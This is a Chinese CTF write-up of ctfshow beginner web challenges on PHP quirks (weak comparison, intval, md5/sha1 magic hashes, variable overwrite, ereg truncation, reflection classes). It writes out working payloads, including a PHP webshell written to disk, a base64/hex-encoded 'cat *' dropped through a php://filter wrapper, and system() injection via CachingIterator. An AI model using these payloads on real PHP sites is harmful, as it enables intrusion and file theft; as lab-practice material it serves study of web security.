ctf - web入门
preg_match()
,换行解析漏洞。intval()
,==
与 ===
的区别。intval()
。intval()
。intval()
。highlight_file()
、字符串匹配。md5()
。in_array()
。ReflectionClass($class)
建立反射类。is_numeric()
特性,call_user_func()
与 hex2bin()
利用,PHP 伪协议。sha1()
,弱等于 ==
。sha1()
,弱等于 ==
。sha1()
,弱等于 ==
,parse_str()
利用。ereg()
截断漏洞。__toString()
与类触发。getcwd()
利用^ 和 $ 这种正则匹配,只匹配一行。但是正则匹配 /m 可以执行多行匹配。
所以第一层条件是多行匹配,第二层条件是单行匹配,这样就可以用换行符 %0a 绕过。
题解:
URl + ?cmd=abc%0aphp
正则表达式:
参考文章:换行解析漏洞(CVE-2017-15715)
这一题乍一看和 web90 很像。
但这里比较是两个等号(弱匹配比较),而 web90 是三个等号。
所以这题不能用除了 e 的字母绕过了。
php有个特殊的字母:e,可以表示科学计数法。
但是当intval()读取到e的时候就会停止。
法一:
与 web90 一样,使用非十进制数传递:
url + ?num=010574
法二:
url + ?num=4476e123
php 中 ==
与 ===
的区别
两个等号是先把等号两边的变量转化成相同的类型,如果转换类型后的结果是相等的,就认为相等。
三个等号是先判断两边变量的数据类型,如果数据类型相同,再去判断两边的值,如果值相等,那么为真。
这题直接不能使用字母了。
根据 web90 的经验,直接进制转换(详见 web90)。
解:
url + ?num=010574
相比上一题不能用进制转换。
但是 intval() 函数可以把浮点数类型变为 int 类型。
解:
url + ?num=4476.0
本题过滤了小数点,字符限制不能使用十六进制和 e。
但是可以使用 8 进制绕过。
可以通过加号或者空格绕过限制条件。
解:
url + ?num=+010574
字符串匹配,加上当前目录 ./ 绕过。
解:
url + ?u=./flag.php
根据题目,PHP md5() 函数如果传入数组,返回值将是 NULL,所以可以用数组绕过。
解:post 传递数据。
a[]=1&b[]=2
题目分析:
$_GET?$_GET=&$_POST:'flag';
/*
三元运算符。
$_GET 变量是一个数组,内容是 GET 方法发送的变量名称和值,类似于字典。
如果 $_GET 变量不为空,则 $_GET 变量和 $_POST 变量指向同一个地址,即$_POST 变量内容会影响 $_GET 变量的内容。
如果 $_GET 变量为空,整个三元表达式的结果为 ’flag’。
*/
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
/*
如果 flag 变量值为 ’flag’,则 $_GET 变量和 $_COOKIE 变量指向同一个地址;
否则返回flag。
*/
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
/*
如果flag变量值为’flag’,则 $_GET 变量和 $_SERVER 变量指向同一个地址;
否则返回flag。
*/
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);
/*
如果 HTTP_FLAG 变量值为 ’flag’,输出 $flag,否则输出当前文件。
*/
所以目标就是 get 传参 HTTP_FLAG=flag。
get 传参就要执行第一个三元运算,所以 post 也需要传递 HTTP_FLAG=flag。
中间两个条件会返回结果 ’flag’,没有影响。
解:通过 get 请求与 post 请求同时传递相同参数:
get 传参:
url + ?HTTP_FLAG=flag
post 传参:
HTTP_FLAG=flag
in_array() 函数特性:第三个参数没有设置的时候,为弱类型比较。例如比较 1.php 时会自动转换为 1 再比较。
所以这题通过 GET 传递值来命名 PHP 文件,再通过 POST 传递 webshell 写入文件。之后访问此 webshell 即可。
解:
get 传参:
url + ?n=30.php
post 传参:
content=<?php system($_POST[1]);?>
访问 webshell 30.php,并传递命令:
php 函数:
in_array() 函数特性:第三个参数没有设置的时候,为弱类型比较。
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
特性:赋值【=】的优先级高于逻辑运算。所以只要让 is_numeric($v1)
返回 true 即可满足 if 判断。
if(!preg_match("/\;/", $v2)){ // v2 不能含分号
if(preg_match("/\;/", $v3)){ // v3 要含分号
eval("$v2('ctfshow')$v3"); // 可利用注释
}
再根据以上代码分析,得出 payload:
解:
url + ?v1=1&v2=var_dump($ctfshow)/*&v3=*/;
与 web100 类似,但过滤了很多字符,不能使用 web100 的方法了。
由于涉及了类,可以利用 ReflectionClass 建立反射类。
new ReflectionClass($class)
可以获得类的反射对象(包含元数据信息)。
元数据对象(包含class的所有属性/方法的元数据信息)。
解:
url + ?v1=1&v2=echo new Reflectionclass&v3=;
除此以外 flag 部分字符经过了 ASCII 编码,还少了一位字符,不过爆破即可。
这题饶了几个圈。根据答案逆推理顺了思路。
先看题解。
将下列中括号中的代码 base64 编码,注意末尾有一个空格。
[<?=`cat *`; ]
编码后的数据:
PD89YGNhdCAqYDsg
再将 base64 编码后的数据进行 16 进制 ASCII 编码。
编码后的数据:
5044383959474e686443417159447367
在编码后的数据前面随便加上两个占位数字,这里加 11。
115044383959474e686443417159447367
同时传递以下数据:
v1=hex2bin
v2=115044383959474e686443417159447367
v3=php://filter/write=convert.base64-decode/resource=1.php
v1 以 POST 方式传输,v2,v3使用 GET。
题解:
GET 传递:
url + ?v2=115044383959474e686443417159447367&v3=php://filter/write=convert.base64-decode/resource=1.php
POST 传递:
v1=hex2bin
之后访问 1.php 查看源码即可获取 flag。
下面分析一下:
所以总的思路就是将 <?=`cat *`; 代码传递并通过伪协议写入一个 php 文件,之后访问此文件就可以执行代码读取当前目录下所有文件的内容。
为什么选择以上代码写入文件,参考下列资料:
《ctfshow学习记录-web入门(php特性99-108)》:
https://blog.csdn.net/m0_48780534/article/details/125445026
与 web102 没有太大区别,沿用 web102 的解法。
正则表达式是用来检查是否存在 “php” 这个字符串的子串(不区分大小写)。
题解:
GET 传递:
url + ?v2=115044383959474e686443417159447367&v3=php://filter/write=convert.base64-decode/resource=1.php
POST 传递:
v1=hex2bin
之后访问 1.php 查看源码即可获取 flag。
分析见 web102。
sha1():计算字符串的 sha1 散列值。
这题没什么好说的,简单的传递一样的值即可。
补充,与 web97 类似,可用数组绕过。
除此以外,值的判断是使用 ==
(弱等于,详见 web92),所以找加密后 0e 开头的两个值也可以。
aaK1STfY -> 0e76658526655756207688271159624026011393
aaO8zKZF -> 0e89257456677279068558073954252716165668
这一题涉及变量覆盖。
示例:
$a='b';
$c='d';
$b=1;
$d=0;
echo $a; # 输出 b
echo $c; # 输出 d
echo $$a; # 输出 1,即 $$a -> $b -> 1
echo $$c; # 输出 0
根据代码,尝试使用变量覆盖让 $suces
和 $error
都等于 $flag
。这样无论如何根据代码的输出都能得知 flag。
解:
GET 传参:
url + ?suces=flag
POST 传参:
error=suces
变量覆盖(可变变量),用于通过变量的值来动态命名变量并访问其值。
以 PHP 为例,$$a
是一种特殊的变量语法,用来实现变量覆盖:
$foo = 'bar';
$bar = 'Hello, World!';
// 使用 $$foo 来访问 $bar 的值
// 因为 $foo 的值是 'bar' ,所以 $$foo 实际上等同于 $bar
// 最终输出 'Hello, World!' 。
echo $$foo;
比 web104 多判断了 v1 不能等于 v2。
方法一:使用数组。
GET 传参:
url + ?v2[]=2
POST 传参:
v1[]=1
方法二:使用加密后 0e 开头的两个值。
aaK1STfY -> 0e76658526655756207688271159624026011393
aaO8zKZF -> 0e89257456677279068558073954252716165668
parse_str(string,array):把查询字符串解析到变量中。
parse_str("a=1&b=2",$array);
print_r($array);
# 输出:Array([a]=>1 [b]=>2)
所以根据代码 v1 传递内容是 v1=flag=?,具体值根据 v3 的 md5 值定。再加上是弱等于,只要 md5 加密后 0e 开头即可。
解:
GET:
url + ?v3=QNKCDZO
POST:
v1=flag=0
0x36d,转十进制是877。
解:
url + ?c=a%00778
这道题用到魔术方法 __toString()
,不少 php 的内置类里都包含有这个方法,如 Reflectionclass
、Exception
、Error
、CachingIterator
。
__toString()
:当一个对象被当作字符串对待的时候,会触发这个魔术方法,格式化输出这个对象所包含的数据。
所以 echo 使得 v1 类触发 __toString()
,v2 传递的数据被输出。
对于 v2 后面的括号,只要变量后面紧跟着(),就会对这个变量作为函数进行调用。
解:
1、
url + ?v1=CachingIterator&v2=system(ls)
2、
url + ?v1=CachingIterator&v2=system('cat fl36dg.txt')
查看源码获取 flag。
也可以换成其他类。
过滤了很多字符,不能再用 web109 的方法。
考察:
解:
url + ?v1=FilesystemIterator&v2=getcwd
可以看到 flag 文件就在当前目录,直接访问获取 flag。
悔既往之失,亦要防将来之非。
——《菜根谭》(明)洪应明